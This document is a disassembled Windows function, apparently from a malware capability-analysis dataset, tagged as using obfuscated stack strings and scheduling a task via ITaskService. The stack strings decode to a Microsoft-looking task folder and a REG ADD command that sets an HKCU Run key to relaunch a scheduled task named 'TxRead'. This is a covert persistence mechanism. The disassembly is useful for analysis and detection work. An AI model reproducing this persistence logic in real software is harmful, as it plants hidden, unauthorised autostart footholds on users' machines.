Function at 0x1000a870
Capabilities:
Contain obfuscated stackstrings
Schedule task via itaskservice

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10031df5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x1b0
push esi
push edi
push 0
mov dword [ebp - 0xfc], 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x1000aad3
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push 0x1003432c
push 1
push 0
push 0x1003434c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1000aacd
mov eax, dword [ebp - 0x14]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [eax]
mov esi, dword [eax + 0x28]
lea eax, [ebp - 0x68]
push eax
call edi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x120]
movups xmm0, xmmword [ebp - 0x68]
push eax
movups xmmword [ebp - 0x160], xmm0
call edi
movups xmm0, xmmword [ebp - 0x120]
lea eax, [ebp - 0x130]
push eax
movups xmmword [ebp - 0x150], xmm0
call edi
movups xmm0, xmmword [ebp - 0x130]
lea eax, [ebp - 0x140]
push eax
movups xmmword [ebp - 0x170], xmm0
call edi
mov byte [ebp - 4], 3
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x160]
mov eax, esp
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x150]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x170]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x140]
push dword [ebp - 0x14]
movups xmmword [eax], xmm0
call esi
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, eax
lea eax, [ebp - 0x140]
push eax
call edi
lea eax, [ebp - 0x130]
push eax
call edi
lea eax, [ebp - 0x120]
push eax
call edi
lea eax, [ebp - 0x68]
mov dword [ebp - 4], 0xffffffff
push eax
call edi
mov eax, dword [ebp - 0x14]
test esi, esi
js 0x1000aac7
mov dword [ebp - 0x1c], 0
mov eax, dword [eax]
push 0xc
mov edi, dword [eax + 0x1c]
call fcn.100128d3
mov esi, eax
add esp, 4
mov dword [ebp - 0x20], esi
mov dword [ebp - 4], 4
test esi, esi
je 0x1000aa0d
push 0x1003aee4
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000b743
jmp 0x1000aa0f
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x20], esi
test esi, esi
je 0x1000b74d
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 5
push eax
push dword [esi]
push dword [ebp - 0x14]
call edi
mov edi, eax
mov dword [ebp - 4], 0xffffffff
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x1000aa7c
mov ecx, dword [esi]
test ecx, ecx
je 0x1000aa5a
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000aa71
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
add esp, 8
test edi, edi
js 0x1000aac4
mov ecx, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push edx
mov dword [ebp - 0x18], 0
push 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x24]
test eax, eax
js 0x1000aabb
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0x78]
mov dword [ebp - 0x78], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x1c]
test eax, eax
jns 0x1000aaeb
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
xor eax, eax
mov dword [ebp - 0x68], 0x7263694d
xor edi, edi
mov dword [ebp - 0x64], 0x666f736f
lea edx, [ebp - 0x68]
mov dword [ebp - 0x60], 0x73552074
lea esi, [ebp - 0x58]
mov dword [ebp - 0x5c], 0x49557265
xor ecx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x128], edi
mov dword [ebp - 0x124], ecx
sub esi, edx
je 0x1000aba0
cmp esi, 0x7fffffff
ja 0x1000b757
cmp esi, 0x1000
jb 0x1000ab6c
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x1000b75c
push eax
call fcn.100128d3
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x1000b775
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x1000ab75
push esi
call fcn.100128d3
add esp, 4
lea edi, [eax + esi]
mov dword [ebp - 0x80], eax
mov ecx, edi
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x124], ecx
lea ecx, [ebp - 0x68]
push esi
push ecx
push eax
mov dword [ebp - 0x38], edi
call fcn.100143f0
add esp, 0xc
mov dword [ebp - 0x128], edi
mov dword [ebp - 4], 6
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x2c], eax
mov esi, dword [ebp - 0x80]
xorps xmm0, xmm0
mov byte [ebp - 4], 7
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0xfc], 1
mov edx, 7
mov dword [ebp - 0x44], edx
movups xmmword [ebp - 0x58], xmm0
mov word [ebp - 0x58], ax
cmp esi, edi
je 0x1000ac28
movsx ax, byte [esi]
movzx edi, ax
cmp ecx, edx
jae 0x1000ac09
lea eax, [ecx + 1]
cmp edx, 7
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x58]
cmova eax, dword [ebp - 0x58]
xor edx, edx
mov word [eax + ecx*2], di
mov word [eax + ecx*2 + 2], dx
jmp 0x1000ac1a
push edi
mov byte [ebp - 0x70], 0
push dword [ebp - 0x70]
push ecx
lea ecx, [ebp - 0x58]
call fcn.10005e00
mov edx, dword [ebp - 0x44]
inc esi
cmp esi, dword [ebp - 0x38]
je 0x1000ac28
mov ecx, dword [ebp - 0x48]
jmp 0x1000abe1
cmp edx, 7
lea edi, [ebp - 0x58]
push 0xc
cmova edi, dword [ebp - 0x58]
call fcn.100128d3
mov esi, eax
add esp, 4
mov dword [ebp - 0x20], esi
mov byte [ebp - 4], 8
test esi, esi
je 0x1000ac6e
push edi
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
jne 0x1000ac70
test edi, edi
jne 0x1000b761
jmp 0x1000ac70
xor esi, esi
mov byte [ebp - 4], 7
mov dword [ebp - 0x20], esi
test esi, esi
je 0x1000b76b
mov byte [ebp - 4], 9
push dword [esi]
push dword [ebp - 0x78]
call dword [ebp - 0x2c]
mov edi, eax
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x1000accd
mov ecx, dword [esi]
test ecx, ecx
je 0x1000acab
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000acc2
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x44]
cmp ecx, 7
jbe 0x1000ad0b
mov edx, dword [ebp - 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000ad01
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b775
push ecx
push edx
call fcn.100128c5
add esp, 8
mov eax, dword [ebp - 0x78]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
test edi, edi
js 0x1000af64
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
mov dword [ebp - 0x28], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x24]
test eax, eax
js 0x1000af64
mov ecx, dword [ebp - 0x28]
lea edx, [ebp - 0x30]
push edx
mov dword [ebp - 0x30], 0
push 1
mov eax, dword [ecx]
push ecx
call dword [eax + 0x28]
test eax, eax
js 0x1000af5b
mov ecx, dword [ebp - 0x30]
lea edx, [ebp - 0x7c]
push edx
mov dword [ebp - 0x7c], 0
push 0x1003433c
mov eax, dword [ecx]
push ecx
call dword [eax]
test eax, eax
js 0x1000af52
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [ebp - 0x100]
add eax, 0x1e
movzx ecx, ax
mov word [ebp - 0x100], ax
cmp ecx, 0x3c
jb 0x1000adb7
lea eax, [ecx - 0x3c]
mov cx, word [ebp - 0x102]
inc cx
mov word [ebp - 0x100], ax
mov word [ebp - 0x102], cx
jmp 0x1000adbe
mov cx, word [ebp - 0x102]
cmp cx, 0x3c
jb 0x1000ade5
mov edx, 0xffc4
add cx, dx
mov dx, word [ebp - 0x104]
inc dx
mov word [ebp - 0x102], cx
mov word [ebp - 0x104], dx
jmp 0x1000adec
mov dx, word [ebp - 0x104]
movzx eax, ax
push eax
movzx eax, cx
push eax
movzx eax, dx
push eax
movzx eax, word [ebp - 0x106]
push eax
movzx eax, word [ebp - 0x10a]
push eax
movzx eax, word [ebp - 0x10c]
push eax
lea eax, [ebp - 0x1bc]
push str._04d__02d__02dT_02d:_02d:_02d
push eax
call fcn.1000c790
mov eax, dword [ebp - 0x7c]
push 0xc
mov eax, dword [eax]
mov edi, dword [eax + 0x3c]
call fcn.100128d3
mov esi, eax
add esp, 0x24
mov dword [ebp - 0x20], esi
mov byte [ebp - 4], 0xa
test esi, esi
je 0x1000ae67
lea eax, [ebp - 0x1bc]
mov dword [esi + 4], 0
push eax
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000b77a
jmp 0x1000ae69
xor esi, esi
mov byte [ebp - 4], 6
mov dword [ebp - 0x20], esi
test esi, esi
je 0x1000b784
mov byte [ebp - 4], 0xb
push dword [esi]
push dword [ebp - 0x7c]
call edi
mov edi, eax
mov byte [ebp - 4], 6
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x1000aec9
mov ecx, dword [esi]
test ecx, ecx
je 0x1000aea7
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000aebe
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
add esp, 8
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
test edi, edi
js 0x1000af52
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0xf8]
mov dword [ebp - 0xf8], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x44]
test eax, eax
js 0x1000af52
mov ecx, dword [ebp - 0xf8]
lea edx, [ebp - 0xf4]
push edx
mov dword [ebp - 0xf4], 0
push 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x30]
mov ecx, dword [ebp - 0xf8]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x1000af52
mov ecx, dword [ebp - 0xf4]
lea edx, [ebp - 0x6c]
push edx
mov dword [ebp - 0x6c], 0
push str.MbLk
mov eax, dword [ecx]
push ecx
call dword [eax]
mov ecx, dword [ebp - 0xf4]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x1000af8f
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
jmp 0x1000b6f7
xor eax, eax
mov dword [ebp - 0xf0], 0x20444441
xor edi, edi
mov dword [ebp - 0xec], 0x434b4822
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xe8], 0x4f535c55
lea esi, [ebp - 0x82]
mov dword [ebp - 0xe4], 0x41575446
mov dword [ebp - 0xe0], 0x4d5c4552
mov dword [ebp - 0xdc], 0x6f726369
mov dword [ebp - 0xd8], 0x74666f73
mov dword [ebp - 0xd4], 0x6e69575c
mov dword [ebp - 0xd0], 0x73776f64
mov dword [ebp - 0xcc], 0x7275435c
mov dword [ebp - 0xc8], 0x746e6572
mov dword [ebp - 0xc4], 0x73726556
mov dword [ebp - 0xc0], 0x5c6e6f69
mov dword [ebp - 0xbc], 0x226e7552
mov dword [ebp - 0xb8], 0x20562f20
mov dword [ebp - 0xb4], 0x65527854
mov dword [ebp - 0xb0], 0x20226461
mov dword [ebp - 0xac], 0x5220742f
mov dword [ebp - 0xa8], 0x535f4745
mov dword [ebp - 0xa4], 0x462f205a
mov dword [ebp - 0xa0], 0x20442f20
mov dword [ebp - 0x9c], 0x68637322
mov dword [ebp - 0x98], 0x6b736174
mov dword [ebp - 0x94], 0x722f2073
mov dword [ebp - 0x90], 0x2f206e75
mov dword [ebp - 0x8c], 0x54206e74
mov dword [ebp - 0x88], 0x61655278
mov word [ebp - 0x84], 0x2264
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x11c], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
sub esi, ecx
je 0x1000b14a
cmp esi, 0x7fffffff
ja 0x1000b78e
cmp esi, 0x1000
jb 0x1000b110
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x1000b793
push eax
call fcn.100128d3
add esp, 4
test eax, eax
je 0x1000b775
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [ebp - 0x70], edi
mov dword [edi - 4], eax
jmp 0x1000b11e
push esi
call fcn.100128d3
add esp, 4
mov dword [ebp - 0x70], eax
mov edi, eax
lea eax, [edi + esi]
mov dword [ebp - 0x11c], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x114], eax
lea eax, [ebp - 0xf0]
push esi
push eax
push edi
call fcn.100143f0
mov eax, dword [ebp - 0x2c]
add esp, 0xc
mov dword [ebp - 0x118], eax
mov byte [ebp - 4], 0xc
lea edx, [ebp - 0x34]
xor eax, eax
mov word [ebp - 0x34], 0x4552
lea esi, [ebp - 0x31]
mov byte [ebp - 0x32], 0x47
xor ecx, ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], ecx
sub esi, edx
je 0x1000b1de
cmp esi, 0x7fffffff
ja 0x1000b798
cmp esi, 0x1000
jb 0x1000b1b2
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x1000b79d
push eax
call fcn.100128d3
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x1000b775
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x1000b1bb
push esi
call fcn.100128d3
add esp, 4
lea ecx, [eax + esi]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x34]
push esi
push ecx
push eax
mov dword [ebp - 0x64], eax
call fcn.100143f0
mov eax, dword [ebp - 0x24]
add esp, 0xc
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov eax, dword [eax + 0x2c]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0xe
xorps xmm0, xmm0
mov esi, dword [ebp - 0x38]
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x48], ecx
mov edx, 7
mov dword [ebp - 0xfc], 2
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], edx
mov word [ebp - 0x58], ax
cmp esi, dword [ebp - 0x24]
je 0x1000b26f
mov edi, dword [ebp - 0x24]
nop dword [eax]
movsx ax, byte [esi]
movzx eax, ax
mov dword [ebp - 0x24], eax
cmp ecx, edx
jae 0x1000b24e
lea eax, [ecx + 1]
cmp edx, 7
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x58]
cmova eax, dword [ebp - 0x58]
mov word [eax + ecx*2], dx
xor edx, edx
mov word [eax + ecx*2 + 2], dx
jmp 0x1000b25f
push eax
mov byte [ebp - 0x74], 0
push dword [ebp - 0x74]
push ecx
lea ecx, [ebp - 0x58]
call fcn.10005e00
mov edx, dword [ebp - 0x44]
inc esi
cmp esi, edi
je 0x1000b26c
mov ecx, dword [ebp - 0x48]
jmp 0x1000b220
mov edi, dword [ebp - 0x70]
cmp edx, 7
lea eax, [ebp - 0x58]
push 0xc
cmova eax, dword [ebp - 0x58]
mov dword [ebp - 0x24], eax
call fcn.100128d3
mov esi, eax
add esp, 4
mov dword [ebp - 0x20], esi
mov byte [ebp - 4], 0xf
test esi, esi
je 0x1000b2bb
push dword [ebp - 0x24]
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
jne 0x1000b2bd
cmp dword [ebp - 0x24], eax
jne 0x1000b7a2
jmp 0x1000b2bd
xor esi, esi
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x20], esi
test esi, esi
je 0x1000b7ac
mov byte [ebp - 4], 0x10
push dword [esi]
push dword [ebp - 0x6c]
call dword [ebp - 0x3c]
mov dword [ebp - 0x20], eax
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x1000b31b
mov ecx, dword [esi]
test ecx, ecx
je 0x1000b2f9
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000b310
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
add esp, 8
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x44]
cmp ecx, 7
jbe 0x1000b359
mov edx, dword [ebp - 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000b34f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b7b6
push ecx
push edx
call fcn.100128c5
add esp, 8
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov esi, dword [eax + 0x34]
mov dword [ebp - 0x74], esi
mov byte [ebp - 4], 0x11
xor ecx, ecx
xorps xmm0, xmm0
mov edx, 0xf
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], edx
mov byte [ebp - 0x58], cl
mov dword [ebp - 0xfc], 4
cmp edi, dword [ebp - 0x2c]
je 0x1000b3df
mov esi, edi
mov edi, dword [ebp - 0x2c]
mov al, byte [esi]
mov byte [ebp - 0x2c], al
cmp ecx, edx
jae 0x1000b3b9
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x58]
cmova eax, dword [ebp - 0x58]
add eax, ecx
mov cl, byte [ebp - 0x2c]
mov byte [eax + 1], 0
mov byte [eax], cl
jmp 0x1000b3cc
push dword [ebp - 0x2c]
mov byte [ebp - 0x3c], 0
push dword [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x58]
call fcn.10007820
mov edx, dword [ebp - 0x44]
inc esi
cmp esi, edi
je 0x1000b3d9
mov ecx, dword [ebp - 0x48]
jmp 0x1000b393
mov edi, dword [ebp - 0x70]
mov esi, dword [ebp - 0x74]
cmp edx, 0xf
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x24]
cmova eax, dword [ebp - 0x58]
push eax
call fcn.10008c30
mov byte [ebp - 4], 0x12
mov eax, dword [eax]
test eax, eax
je 0x1000b400
mov eax, dword [eax]
jmp 0x1000b402
xor eax, eax
push eax
push dword [ebp - 0x6c]
call esi
mov esi, dword [ebp - 0x24]
test esi, esi
je 0x1000b45a
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x1000b453
test esi, esi
je 0x1000b453
mov eax, dword [esi]
test eax, eax
je 0x1000b431
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000b448
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
add esp, 8
mov dword [ebp - 0x24], 0
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x1000b492
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000b488
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b7bb
push ecx
push edx
call fcn.100128c5
add esp, 8
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x20], 0
jge 0x1000b4de
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
jmp 0x1000b68f
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x110], 0
push 0x1003aee8
mov eax, dword [eax]
mov eax, dword [eax + 0x44]
mov dword [ebp - 0x3c], eax
mov eax, 8
mov word [ebp - 0x140], ax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x138], eax
test eax, eax
je 0x1000b7c0
movups xmm0, xmmword [ebp - 0x140]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x160]
push eax
movups xmmword [ebp - 0x170], xmm0
call esi
movups xmm0, xmmword [ebp - 0x160]
lea eax, [ebp - 0x150]
push eax
movups xmmword [ebp - 0x180], xmm0
call esi
mov byte [ebp - 4], 0x15
movups xmm0, xmmword [ebp - 0x150]
mov eax, dword [ebp - 0x18]
push 0xc
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x20], eax
call fcn.100128d3
mov esi, eax
add esp, 4
mov dword [ebp - 0x74], esi
mov byte [ebp - 4], 0x16
test esi, esi
je 0x1000b59d
push str.txtlog
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000b7ca
jmp 0x1000b59f
xor esi, esi
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x74], esi
test esi, esi
je 0x1000b7d4
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x110]
movups xmm0, xmmword [ebp - 0x170]
push eax
sub esp, 0x10
mov eax, esp
push 3
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x180]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x50]
push 6
push dword [ebp - 0x20]
movups xmmword [eax], xmm0
push dword [esi]
push dword [ebp - 0x1c]
call dword [ebp - 0x3c]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x1000b632
mov eax, dword [esi]
test eax, eax
je 0x1000b610
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000b627
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
add esp, 8
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x150]
push eax
call esi
lea eax, [ebp - 0x160]
push eax
call esi
lea eax, [ebp - 0x140]
mov byte [ebp - 4], 0xd
push eax
call esi
mov eax, dword [ebp - 0x110]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor esi, esi
mov ecx, dword [ebp - 0x38]
test ecx, ecx
je 0x1000b6c3
mov edx, dword [ebp - 0x5c]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000b6b9
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b7de
push edx
push ecx
call fcn.100128c5
add esp, 8
test edi, edi
je 0x1000b6f7
mov ecx, dword [ebp - 0x114]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x1000b6ed
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b7de
push ecx
push edi
call fcn.100128c5
add esp, 8
mov ecx, dword [ebp - 0x80]
test ecx, ecx
je 0x1000b72e
mov edx, dword [ebp - 0x124]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000b724
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b7de
push edx
push ecx
call fcn.100128c5
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
call fcn.10005830
call fcn.10008940
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
call fcn.10017b2f
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
call fcn.10005830
call fcn.10008940
call fcn.10005830
call fcn.10008940
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
call fcn.10017b2f
call fcn.10017b2f
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
call fcn.10017b2f
int3